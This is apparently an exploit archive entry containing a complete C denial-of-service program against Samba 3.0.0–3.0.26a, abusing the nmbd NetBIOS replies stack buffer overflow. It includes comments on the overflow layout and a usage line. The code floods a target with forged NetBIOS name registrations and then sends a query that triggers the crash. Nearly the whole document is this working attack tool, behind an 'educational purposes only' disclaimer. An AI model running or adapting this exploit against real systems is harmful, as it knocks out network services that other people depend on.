Denial of service exploit for Samba versions below 3.0.27 that makes use of the NetBIOS replies stack-based buffer overflow vulnerability.
13b15c6ad78154402de08612787c7e30f7b1206cd98e40ebad4afcb0611dc21b
/*
Samba 3.0.0 to 3.0.26a DOS and remote code execution.
Samba NMBD_Packets.C NetBIOS Replies Stack-Based Buffer Overflow
http://www.securityfocus.com/bid/26455
Author: Gill Bates, molnar_rcs@yahoo.com
For educational purposes only.
The author is not responsable for any harm done using this code.
Remote code execution is almost impossible to exploit.
Samba will overwrite the stack with multiples of 6 bytes:
Byte 1-2: the NM_FLAGS
Byte 3-6: the IP registered
Byte 1 can only take values: 0x00, 0x20, 0x40, 0x60
Byte 2 in the response will always be 0x00
A sample response
-----------------
40 00 c8 a8 00 91
40 00 c8 a8 00 a4
40 00 c8 a8 00 82
40 00 c8 a8 00 95
40 00 c8 a8 00 23
40 00 c8 a8 00 d3
40 00 c8 a8 00 45
40 00 c8 a8 00 be
40 00 c8 a8 00 0e
40 00 c8 a8 00 30
40 00 c8 a8 00 ab
40 00 c8 a8 00 c1
40 00 c8 a8 00 cc
40 00 c8 a8 00 33
40 00 c8 a8 00 f7
Return to libc is also hard or impossible to achieve under these conditions.
And since most distros come with 2.6.x kernels along with the vulnerable samba versions
and these kernels use stack randomizations, gaining unauthorized remote access is
highly improbable.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <netdb.h>
#include <sys/socket.h>
#include <unistd.h>
#include <errno.h>
#include <ctype.h>
#ifndef bool
#define bool unsigned char
#endif
#ifndef false
#define false 0
#endif
#ifndef true
#define true 1
#endif
// function definitions
void Usage(const char * pAppName); // print usage
void EncodeByte(char cAscii, char * pOutBuff); // encode characters in netbios name code
void SendRequest( int nSd ); // send a netbios packet
bool FillTargetList(int nSd, unsigned int nPacketCount); // fills target samba wins list with 96 <1b> names
void GenRandName(char * szName); // generate a 16 byte random name
//------------------------------------------------------------------------------------------------
void Usage(const char * pAppName)
{
printf("Usage: %s <host/ip> <port> <num_packets>\n", pAppName);
printf("Example: %s 192.168.0.2 137 250\n", pAppName);
}
//------------------------------------------------------------------------------------------------
//pOutBuff must hold at least 2 bytes
void EncodeByte(char cAscii, char * pOutBuff)
{
if(pOutBuff != 0L)
{
//make upper
cAscii = toupper(cAscii);
switch(cAscii)
{
case 'A' : memcpy( pOutBuff, "\x45\x42", 2); break;
case 'B' : memcpy( pOutBuff, "\x45\x43", 2); break;
case 'C' : memcpy( pOutBuff, "\x45\x44", 2); break;
case 'D' : memcpy( pOutBuff, "\x45\x45", 2); break;
case 'E' : memcpy( pOutBuff, "\x45\x46", 2); break;
case 'F' : memcpy( pOutBuff, "\x45\x47", 2); break;
case 'G' : memcpy( pOutBuff, "\x45\x48", 2); break;
case 'H' : memcpy( pOutBuff, "\x45\x49", 2); break;
case 'I' : memcpy( pOutBuff, "\x45\x4A", 2); break;
case 'J' : memcpy( pOutBuff, "\x45\x4B", 2); break;
case 'K' : memcpy( pOutBuff, "\x45\x4C", 2); break;
case 'L' : memcpy( pOutBuff, "\x45\x4D", 2); break;
case 'M' : memcpy( pOutBuff, "\x45\x4E", 2); break;
case 'N' : memcpy( pOutBuff, "\x45\x4F", 2); break;
case 'O' : memcpy( pOutBuff, "\x45\x50", 2); break;
case 'P' : memcpy( pOutBuff, "\x46\x41", 2); break;
case 'Q' : memcpy( pOutBuff, "\x46\x42", 2); break;
case 'R' : memcpy( pOutBuff, "\x46\x43", 2); break;
case 'S' : memcpy( pOutBuff, "\x46\x44", 2); break;
case 'T' : memcpy( pOutBuff, "\x46\x45", 2); break;
case 'U' : memcpy( pOutBuff, "\x46\x46", 2); break;
case 'V' : memcpy( pOutBuff, "\x46\x47", 2); break;
case 'W' : memcpy( pOutBuff, "\x46\x48", 2); break;
case 'X' : memcpy( pOutBuff, "\x46\x49", 2); break;
case 'Y' : memcpy( pOutBuff, "\x46\x4A", 2); break;
case 'Z' : memcpy( pOutBuff, "\x46\x4B", 2); break;
case '0' : memcpy( pOutBuff, "\x44\x41", 2); break;
case '1' : memcpy( pOutBuff, "\x44\x42", 2); break;
case '2' : memcpy( pOutBuff, "\x44\x43", 2); break;
case '3' : memcpy( pOutBuff, "\x44\x44", 2); break;
case '4' : memcpy( pOutBuff, "\x44\x45", 2); break;
case '5' : memcpy( pOutBuff, "\x44\x46", 2); break;
case '6' : memcpy( pOutBuff, "\x44\x47", 2); break;
case '7' : memcpy( pOutBuff, "\x44\x48", 2); break;
case '8' : memcpy( pOutBuff, "\x44\x49", 2); break;
case '9' : memcpy( pOutBuff, "\x44\x4A", 2); break;
case ' ' : memcpy( pOutBuff, "\x43\x41", 2); break;
case '!' : memcpy( pOutBuff, "\x43\x42", 2); break;
case '"' : memcpy( pOutBuff, "\x43\x43", 2); break;
case '#' : memcpy( pOutBuff, "\x43\x44", 2); break;
case '$' : memcpy( pOutBuff, "\x43\x45", 2); break;
case '%' : memcpy( pOutBuff, "\x43\x46", 2); break;
case '&' : memcpy( pOutBuff, "\x43\x47", 2); break;
case '\'' : memcpy( pOutBuff, "\x43\x48", 2); break;
case '(' : memcpy( pOutBuff, "\x43\x49", 2); break;
case ')' : memcpy( pOutBuff, "\x43\x4A", 2); break;
case '*' : memcpy( pOutBuff, "\x43\x4B", 2); break;
case '+' : memcpy( pOutBuff, "\x43\x4C", 2); break;
case ',' : memcpy( pOutBuff, "\x43\x4D", 2); break;
case '-' : memcpy( pOutBuff, "\x43\x4E", 2); break;
case '.' : memcpy( pOutBuff, "\x43\x4F", 2); break;
case '=' : memcpy( pOutBuff, "\x44\x4E", 2); break;
case ':' : memcpy( pOutBuff, "\x44\x4B", 2); break;
case ';' : memcpy( pOutBuff, "\x44\x4C", 2); break;
case '@' : memcpy( pOutBuff, "\x45\x41", 2); break;
case '^' : memcpy( pOutBuff, "\x46\x4F", 2); break;
case '_' : memcpy( pOutBuff, "\x46 50", 2); break;
case '{' : memcpy( pOutBuff, "\x48\x4C", 2); break;
case '}' : memcpy( pOutBuff, "\x48\x4E", 2); break;
case '~' : memcpy( pOutBuff, "\x48\x4F", 2); break;
default: memcpy( pOutBuff, "\x45\x42", 2); break; // fill with A
}
}
}
//------------------------------------------------------------------------------------------------
// sName must be at least 16 bytes long
void GenRandName(char * szName)
{
if(szName != 0L)
{
int i = 0;
for(i = 0; i < 15; i++)
{
szName[i] = 65 + rand() % 15;//33 + rand() % 93;
// tanform space to A if it's the case
if(szName[i] == 0x20)
szName[i] = 0x41;
}
szName[15] = 0x0;
}
}
//------------------------------------------------------------------------------------------------
void MakeNetbiosName(const char * szName, char * szNetbiosName)
{
if(szName != 0L && szNetbiosName != 0L)
{
const char * pWorker = szName;
int nLen = 0;
while(*pWorker != 0x0 && nLen < 15)
{
EncodeByte(*pWorker, szNetbiosName);
nLen++;
pWorker++;
szNetbiosName += 2;
}
}
}
//------------------------------------------------------------------------------------------------
void SendRequest( int nSd )
{
//!query
const unsigned char * sPacket = "\x54\xd2" //!2 ID
"\x01\x00" //!2 FLAGS - query
"\x00\x01" //!2 QUERIES
"\x00\x00" //!2 ANSWERS
"\x00\x00" //!2 AUTHORITHY RRS
"\x00\x00" //!2 ADDITIONAL RRS
//!Total 12
// QUERY LIST
//! Query (38 BYTES)
"\x20" // host start
"\x43\x4B\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41" // netbios host name
"\x42\x4C" // host type
"\x00" // end
"\x00\x20"//TYPE NB
"\x00\x01"//CLASS IN
;
printf("[+] Sending query request ...");
write(nSd, sPacket, 50);
printf(" done!\n");
}
//------------------------------------------------------------------------------------------------
bool FillTargetList(int nSd, unsigned int nPacketCount)
{
// this is the original packet
const unsigned char * sPacket = "\x00\x00" //ID
"\x79\x00" //FLAGS
"\x00\x01" //QUERIES
"\x00\x00" //ANSWERS
"\x00\x00" //AUTHORITHY RRS
"\x00\x01" //ADDITIONAL RRS
"\x20" // host start
//!invalid host name (32 bytes from offset 0Dh - 2Dh)
"\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41" // netbios host name
"\x42\x4C" // host type
"\x00" // end
"\x00\x20"//TYPE NB
"\x00\x01"//CLASS IN
//Additional RRS
"\xc0\x0c"
"\x00\x20"//TYPE NB
"\x00\x01"//CLASS IN
"\x00\x00\x00\x78" //TTL
"\x00\x06" // DATA Length
"\x40\x00" // NB FLAGS
"\xC8\xA8\x00\x00" // NB ADDRESS 192.168.x.x
; //Total length 68 bytes
// In order to fill up the reply buffer we need 96 netbios names with <1b> address on target machine
unsigned char szWorkerPacket[68];
int i = 0;
unsigned char nIpNet = 0, nIpHost = 0;
unsigned short nIdBase = rand();
char szName[16], szNbName[31];
szNbName[30] = 0x0; // just for printing purposes set term byte to 0x00
printf("[*] Sending %u packets, sleeping 3 seconds after 32 packets sent\n", nPacketCount);
printf("-> ");
fflush(stdout);
for(i = 0; i < nPacketCount; i++)
{
// copy packet template
memcpy(szWorkerPacket, sPacket, 68);
// insert 2 byte id at offset 00h
memcpy(szWorkerPacket, &nIdBase, 2);
nIdBase++;
// gen rand name
GenRandName(szName);
// tanslate into netbios format
MakeNetbiosName(szName, szNbName);
// insert name into the packet at offset 0D
memcpy(szWorkerPacket + 0x0D, szNbName, 0x1E);
// insert IP network part at offset 42h
nIpNet = i / 255;
memcpy(szWorkerPacket + 0x42, &nIpNet, 0x01);
// insert IP host part at offset 43h, use value of i
nIpHost = i % 255;
memcpy(szWorkerPacket + 0x43, &nIpHost, 0x01);
// increment id
nIdBase++;
//!Packet ready, lets send
write(nSd, szWorkerPacket, 68);
if((i + 1) % 32 == 0)
{
printf(".");
fflush(stdout);
}
}
printf("\n[*] Done, sent %u packets\n", nPacketCount);
fflush(stdout);
}
//------------------------------------------------------------------------------------------------
int main(int argc, char **argv)
{
if(argc < 3)
{
Usage(argv[0]);
return -1;
}
const char * pHostName = argv[1];
unsigned int nPort = atoi(argv[2]);
struct hostent *pHost = gethostbyname(pHostName);
if(pHost == 0L)
{
printf("Invalid host/ip: %s\n", pHostName);
}
int nSD = socket(AF_INET, SOCK_DGRAM, 0);
struct sockaddr_in sin;
memcpy(&sin.sin_addr.s_addr, pHost->h_addr, pHost->h_length);
sin.sin_family = AF_INET;
sin.sin_port = htons(nPort);
printf("[*] Connecting to -> %s # port -> %u\n", pHost->h_name, nPort);
fflush(stdout);
fflush(stderr);
if (connect(nSD, (struct sockaddr *)&sin, sizeof(sin)) < 0)
{
perror("[-] Connecting");
exit(1);
}
else
{
// Connected
printf("[+] Connected....\n");
sleep(1);
FillTargetList(nSD, atoi(argv[3]));
SendRequest(nSD);
close(nSD);
}
}